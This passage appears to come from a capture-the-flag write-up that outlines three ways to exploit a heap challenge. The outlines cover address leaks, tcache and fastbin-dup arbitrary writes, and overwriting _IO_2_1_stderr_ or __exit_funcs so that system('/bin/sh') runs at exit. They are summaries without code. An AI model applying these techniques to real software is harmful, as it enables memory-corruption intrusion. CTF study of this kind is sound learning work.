- write system and binsh string to __exit_funcs
- leak/overwrite
- File Structure Exploitation
- abusing file structure and vtables to pop a shell
- this is sortof like a one-gadget kind of exploit
We have all that we need to solve the challenge. In the spirit of learning, let’s try to solve this in 3 different ways and explore the different technicalities that comes with heap exploitation. This will also show us how each primitive is sufficiently powerful to solve the challenge.
SOLUTION 1: Most Straightforward Solution, using everything mentioned so far
Summary
- Add wish at negative index to overwrite
limit
- After overwriting limit, leak a bunch of addresses that will be useful for us
- libc address
- heap address
- Given libc address, sufficient to craft our malicious File Structure
- Overwrite tcache chunk metadata to get arbitrary write to
_IO_2_1_stderr_
- Exit the program to trigger our file structure exploit chain and get a shell
SOLUTION 2: Solve without using the heap overflow [intended solution]
Summary
- Add wish at negative index to overwrite
limit
- After overwriting limit, leak a bunch of addresses that will be useful for us
- libc address
- heap address
- pointer guard
- By putting heap addresses in
buf
, we can achieve Use After free (UAF).- we can do a fastbin dup to get arbitrary write
- Overwrite exit_funcs to call system(binsh) on exit
SOLUTION 3: Solve without overwriting limit
Summary
- Leak heap and libc address by doing fgets with size 0 to reclaim memory that has been freed but not cleared.
- Similar to solution 1, do tcache unlinking to overwrite
_IO_2_1_stderr_
- Exit the program to trigger file structure exploit chain and get a shell
comments powered by Disqus